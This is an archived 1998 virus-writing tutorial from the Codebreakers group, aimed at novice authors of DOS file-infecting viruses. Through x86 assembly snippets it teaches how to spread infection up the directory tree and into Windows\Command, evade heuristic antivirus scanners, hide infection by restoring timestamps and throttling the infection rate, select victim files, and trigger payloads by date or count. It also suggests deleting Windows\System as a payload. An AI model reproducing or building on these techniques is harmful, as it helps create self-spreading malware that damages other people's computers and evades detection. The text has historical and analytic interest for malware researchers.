home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CODBRK3.ZIP / cb0207.txt < prev    next >
Text File  |  1998-03-25  |  16KB  |  346 lines

  1.                        Virus "Add-Ons" Tutorial
  2.                       by Opic [Codebreakers,1998]
  3.  
  4.    Let me first say that this tutorial is directed at the newbie, and not for
  5. experienced coders. That being said this tutorial is to aid you in coding
  6. the "features" of your virus. Which, when you think about it, is pretty
  7. fucking important! (please note that I will not be dealing with encryption or
  8. the main virus body as Sea4 and Horny Toad have already covered these)It is 
  9. one of the only things that makes your virus unique. So throughout this 
  10. tutorial remember that you should not be cutting and pasting code here, I 
  11. want you to take the example I give you and expand upon them, make them 
  12. better or code them in a new way; in other words make it interesting and be
  13.  creative (why else might you code virii anyways?). The article is divided 
  14. into two sections: the first will be on techniques that are utilitary in 
  15. nature (they will add features to how the virus functions), the second will
  16.  be on payload and payload activation ideas and techniques. 
  17.    
  18. SECTION 1.
  19.  
  20. CHANGING DIRECTORYS
  21.    
  22.    Ok, the first technique I will show you is the simple DotDot method of
  23. changing directories. This allows your runtime infecting virus to infect from
  24. its starting directory all the way up to root infecting each directory and 
  25. its first subdirectory. We plug this into our virus by modifying our find-first
  26. routine to jump to our DotDot routine, I'll include the minor change in code so
  27. that it is blindingly clear to you what I mean. Here is the the DotDot routine
  28. with our slightly modified find first:
  29.  
  30. find_first:
  31.         mov ah,4eh            ;find's first file in the starting directory
  32.         lea dx,[bp+filespec]  ;loads type of file we are looking for in dx 
  33.         int 21h               ;go dos!
  34.         jnc open              ;found one! go to open and infect routine
  35.                               ;it should be noted that the findnext command
  36.                               ;should be somewhere in end of this routine
  37.         jmp DotDot            ;otherwise change directory
  38.  
  39. DotDot:                       ;this is the dot dot routine
  40.         lea dx,[bp+dotdot]    ;load dotdot from datasegment
  41.         mov ah, 3Bh           ;int for "chdir" set current directory
  42.         int 21h               ;do it! 
  43.         jnc find_first        ;find first file in new directory
  44.         jmp exit_stage_left   ;we hit root and have now have max file
  45.                               ;infection (well max for this method)
  46. dotdot            db  '..',0
  47.  
  48. understand? hopefully you do :)  basically instead of exiting after 
  49. infecting just one dir we change to the next one infect it and its first
  50. subdir and so on until we hit root, then exit. Likewise we can use 3Bh
  51. to infect (or do anything we like to) a certain directory or subdirectory.
  52. I'm sure you can all think of a directory alot of people have and you would
  53. like to infect :) Well if you cant then don't worry, I've got your back
  54. covered on this one: how 'bout Windows\Command? here's an example of how to 
  55. change directories to a specific directory:
  56.  
  57. windoze:
  58.       mov ah,3bh                  ;int to "chdir" set current directory
  59.       lea dx,winspec              ;load windows location
  60.       int 21h                     ;go dos go!
  61.       jnc find_first              ;find first file to infect
  62.       jmp exit_stage_left         ;done with doze? lets bring it on home! 
  63.  
  64. winspec   db 'C:\windows\command',0  
  65.  
  66. No big change right? Good! Enough said, you can use the DotDot routine in 
  67. combination with infecting specific directories which are likely to be present
  68. on most systems to get a wider infection rate. Also consider other directories
  69. which you may want to "modify" (such as your favorite AV scanner etc.).
  70.  
  71. SIMPLE ANTI-HEURISTICS LOOP
  72.  
  73.    The next technique I'd like to show you is a simple loop to kill some
  74. heuristic scanners. This can be effective when paired with encryption,
  75. but doesn't perform well as a single measure against AV scanners.This one
  76. should be pretty self explanatory so I wont say much about it other then
  77. you should place it at the beginning of your virus ;)
  78.    
  79.    mov cx,0ffffh         ;should look familiar from other antiheurist loops
  80. AH1:                     ;anti-Heur1 label
  81.    jmp AH2               ;jump AH2
  82.    mov ax,4c00h          ;function 4ch: "exit" terminate with return code
  83.    int 21h               ;go dos!
  84.  
  85. AH2:                     ;anti-huer2 label
  86.    loop AH1              ;loop AH1
  87.  
  88. Not much else I can say about this one except credits go to spo0ky for 
  89. resurrecting this old technique and giving it a makeover ;)
  90.  
  91. RESTORING TIME/DATE STAMPS
  92.  
  93.    Want to make your virus a little less noticeable? It looks awfully strange 
  94. when all the infected files have the same time/date stamp doesnt it? Well
  95. its a very simple procedure to save the time/date stamps and restore them
  96. after infecting the file. Heres how simple it really is:
  97.  
  98. Get Time/Date stamps:
  99. This should be done after you open the file but BEFORE you infect or modify
  100. the file in any way.
  101.                  
  102. mov ax,5700h                   ;get files time/date stamp
  103. int 21h                        ;now!
  104. push dx                        ;save the values
  105. push cx                        ;in dx and cx
  106.  
  107. Restore Time/Date stamps:
  108. This should be done right before you close the file.
  109.  
  110. mov ax,5701h                      ;restore files time/date stamp
  111.       pop dx                      ;from
  112.       pop cx                      ;dx and cx
  113.       int 21h                     ;now!
  114.  
  115. CONTROLING RATE OF INFECTION
  116.  
  117. Too much of a good thing can be bad right? Same goes for infecting files,
  118. we want to infect as many of them as we can but we may not want to do it all
  119. at one time as it may appear suspicious to the user that all his files have
  120. suddenly grown by however many bytes your virus is. So lets take our time
  121. and infect only so many files per run, the way we do this is via a infection
  122. counter. The counter is a pretty versatile thing, we can use it for whatever
  123. we want (example: we could also use it as a payload activation; payload 
  124. activates ever 15 runs or whatever) just use your imagination. At any rate
  125. we will use it as a counter in this example which infects 10 files per run.
  126.  
  127.       inc byte ptr [counter]      ;add one to our counter
  128.       cmp byte ptr [counter],10   ;10 infections?
  129.       je Clear                    ;we hit 10? clear counter and exit!
  130. Clear:
  131.       mov byte ptr [counter],0    ;clears infection counter
  132.       jmp exit_stage_left         ;and get outta here! 
  133.  
  134. counter   db 0     
  135.  
  136. The counter portion of the example should be placed at the end of your 
  137. infection routine, after you close the infected file. The "Clear" routine
  138. should lie somewhere outside of the exit code so it is not executed
  139. when it shouldn't be.
  140.  
  141. CHECKING VICTUM FILE SIZE
  142.  
  143. Heres one of many ways you can check the victims filesize to see if it should
  144. be infected. files that are too large should not be infected as they will
  145. corrupt due to the change in size your virus makes(an good example is    
  146. command.com which is not a "real" .com per say and can corrupt if more bytes
  147. are added) Files too small should be avoided due to obvious reasons. This code 
  148. would be placed somewhere after we open the file and get file info. In this
  149. example we are checking to see if the file is bigger the 4000 bytes or 
  150. smaller then 40 (purely random numbers to illustrate the method, I dont 
  151. recommend you use these particular figures for your standard size check ;)
  152.  
  153. cmp word ptr 1ah,4000                   ;compare size with 4000
  154. jna small                               ;ok not too big, too small?
  155. jmp find_next                           ;its too big! find next file
  156.  
  157. small:                                  ;lets see if its too small now
  158. cmp word ptr 1ah,40                     ;compare size with 40
  159. jnb continue                            ;if bigger then 40 we are ok :) 
  160. jmp find_next
  161.  
  162. continue:                               ;skip the find_next jump and we
  163.                                         ;proceed with infection.....
  164. SECTION 2.
  165.  
  166. PAYLOADS AND PAYLOAD CRITERIA
  167.  
  168.    This is the portion of your virus in which you should make it as unique 
  169. and interesting as possible. Not only to hone your creative mentality but
  170. also to make your virus noticed After all there are thousands of virii
  171. out there and the majority of them dont do ANYTHING interesting! And as a 
  172. consequence they are thrown into AV programs as Virus.874 (if they even
  173. make it into a scanners library) simply because your virus did not have 
  174. many unique aspects which makes it interesting for the AV researcher to
  175. investigate.So make it interesting and challenging and meanwhile you will
  176. be making a name for yourself :) And remember that this is the only part
  177. of your virus that the viewing audience will actually be able to see and
  178. possibly even appreciate (or despise). 
  179.    As for my opinion on destructive payloads; 
  180. I am not in favor of them, so if you want to learn how to format
  181. a disk then go look for another tutorial. Destructive payloads have for
  182. starters been done to death! Peoples hard drives have been fucked up by
  183. virii in just about every way imaginable and its not all that impressive,
  184. and its VERY easy to code(it takes 5 lines of code to format a disk)and 
  185. thus shows little ability on your part. But if you are dead set on making 
  186. a destructive payload I urge you to make it something which will alter the 
  187. system without destroying personal data, and one that is easily fixed (such
  188.  as hindering windows by removing the Windows\System dir which kills windows
  189.  but can be fixed by replacing the dir from the users Windows CD or whatever).
  190.  OK, enough about that.
  191.  
  192. Payload Criteria
  193.     
  194.    There is an infinite number of activation routines. I obviously won't cover
  195. them all but will show you a few common ones which you can incorporate and
  196. adjust in your virii.
  197.  
  198. Date activation:
  199.    This is a very common way that virii activate. Heres how it breaks down:
  200. we check the system date with int 21/2a, our returns we will want to compare
  201. with are as follows:
  202.  
  203. CX=year (1980-2099)
  204. DH=month
  205. DL=day
  206. AL=day of week (00h=sunday) 
  207. simple huh? Ill provide a few examples to be sure you understand.
  208.  
  209. Want to activate your virus only on Mondays?
  210.  
  211. mov ah,2ah                 ;gets system date
  212. int 21h                    ;get it 
  213. cmp al,001h                ;compares, is it monday?
  214.                            ;if you hadn't already guessed:
  215.                            ;001h=Mon 002h=Tue 003h=Wed, and so on...
  216. je payload                 ;if so, run the payload
  217. jmp exit_stage_left        ;if not then we exit
  218.  
  219. Want your payload active on the 15th of every month?
  220.  
  221. mov ah,2ah                 ;get system date
  222. int 21h                    ;go
  223. cmp dl,15                  ;is it the 15th?
  224. je payload                 ;yes? lets do it!
  225. jmp exit_stage_left        ;no? outta here
  226.  
  227.    Ok, but what about seconds and minutes you say? easy enough,
  228. Lets say you wanted your payload to go off at 30 minutes when the 
  229. seconds are less then 40:
  230.  
  231. mov ah,2Ch                 ;checks internal clock 
  232. int 21h                    ;go
  233. cmp cl,30d                 ;is the time 30 minutes?
  234. jne exit_stage_left        ;no? outta here
  235. cmp dh,40d                 ;are the seconds less then 40?
  236. jb payload                 ;yes? payload please!
  237. jmp exit_stage_left        ;no? outta here!
  238.  
  239.    Alright, thats enough about time/date activation. Another common payload 
  240. activation routine is based upon infection count ie: the payload is activated
  241. every certain number of infections. This is quite easily done via another 
  242. counter (please see CONTROLING RATE OF INFECTION for code).
  243.    You can also mix these two method for a more random payload activation,
  244. such as after 15 files have been infected checking if the seconds are less
  245. then 20 to activate your payload, giving your payload a seemingly random
  246. occurence rate. Play with these techniques and explore new ones of your own.
  247.  
  248. Payloads:
  249.  
  250.   Im obviously not going to show you full payloads to incorporate into your
  251. virii but rather I will give you useful ideas and techniques for you to 
  252. incorporate into your payloads. Remember this is your window of opportunity
  253. to do or say anything you want to the people who experience your virus, so
  254. I urge you to make it good! please dont write some lame payload that makes
  255. virii writers look like children writing with crayons on the wall ;) Be
  256. poetic or artistic or political, or anything besides then lame, childish and 
  257. egotistical. And remember the more impressive and interesting your payloads
  258. are, the more your virus will be noticed.
  259.  
  260. Displaying a message to the screen:
  261.  
  262. This is a pretty basic thing you should know.
  263.  
  264. mov ah,9h         ;print string to standard output
  265. lea dx,message    ;get message from data segment
  266. int 21h           ;do it!
  267.  
  268. message  db 'Daytime drives and drives afternoon taxi accident,',10,13,
  269.          db 'lunchtime. Rich in flavor, heavy, slow sunshines ',10,13,   
  270.          db 'iron into iodine.',10,13,
  271.          db '',10,13
  272.          db 'Suriv, coded and copywrited:Opic,[codebreakers,98]',10,13,'$'
  273.  
  274. How about printing something out of the printer?
  275.  
  276.  mov ah,01h         ;begin of printer payload
  277.  mov dx,0h          ;put 0h in dx
  278.  int 17h            ;int for initializing printer
  279.  lea si,string1     ;load string1 to si
  280.  mov cx,String1Len  ;move string1len to cx
  281. PrintStr:           ;label fer printing our message
  282.  mov ah,00h         ;write characters
  283.  lodsb              ;you know right :)
  284.  int 17h            ;printer int
  285.  loop PrintStr      ;loop printstr till we are done
  286.  
  287. String1Len        EQU EndStr1-String1
  288. String1     db  'Vive la difference!',0dh,0ah
  289.             db  'Suriv, coded and copywrited:Opic,[codebreakers,98]',0ch
  290. EndStr1:
  291.  
  292.  
  293. Graphics:
  294.  
  295. O.K, let me start by saying that programming graphics in ASM is pretty
  296. goddamn difficult in my opinion. And Im NOT going to show you how to
  297. do alot with graphics right now (this is a virus tut not a graphics
  298. one right?) But I will show you some code to give you an idea of how
  299. graphics in ASM work. Heres a bit of code that will create a blue pixel
  300. in the center of your screen.
  301.  
  302.  mov ax,13          ;sets mode 13h
  303.  int 10h            ;int 10=video int
  304.  mov ah,0ch         ;fuct 0Ch (look it up, you have the R.browns right?)
  305.  mov al,17          ;color 17=blue
  306.  mov cx,160         ;x axis position 160 (center)
  307.  mov dx,100         ;y axis position 100 (center)
  308.  int 10h            ;thats it 
  309.  
  310. Remember this is just the tip of the iceberg, creating good graphics in
  311. ASM shows a tremendous amount of skill and patience, and is sure to dazzle
  312. your audience :)
  313.  
  314.    Heres a few other neat little things you could do if you wanted to be a 
  315. bit more subtle.
  316.  
  317. Changing the date:
  318.  
  319. mov ah,2bh  ;set system date
  320. mov cx,2001 ;change year to 2001
  321. int 21h     ;go!
  322.             ;Im sure you know how to change it to a specific day by 
  323.             ;yourself, right?
  324.  
  325. Create a new subdirectory:
  326.  
  327.    I think this one is kind of fun, just create a new subdirectory which you
  328. could place on the desktop :)
  329.  
  330. mov ah,39h      ;create new subdir
  331. lea dx,dirname  ;with the name of...
  332. int 21h         ;go!
  333.  
  334. dirname db 'Hello_user!',0
  335.  
  336.   This should get you well on your way to writing more sophisticated
  337. and interesting virii. Take the time and energy to make interesting code and
  338. you will enjoy yourself that much more. Take the time to learn how to write
  339. songs and graphics in asm if you are so inclined, they are challenging and
  340. will improve your coding abilities. You could consider your virii "living
  341. works of art" dont cheat them by writing a great virus with a half-assed
  342. payload or visa versa. And above all enjoy whatever it is you create. That's
  343. all for now.                   
  344.                                - Opic [Codebreakers,98]
  345.                          email:  opic@thepentagon.com
  346.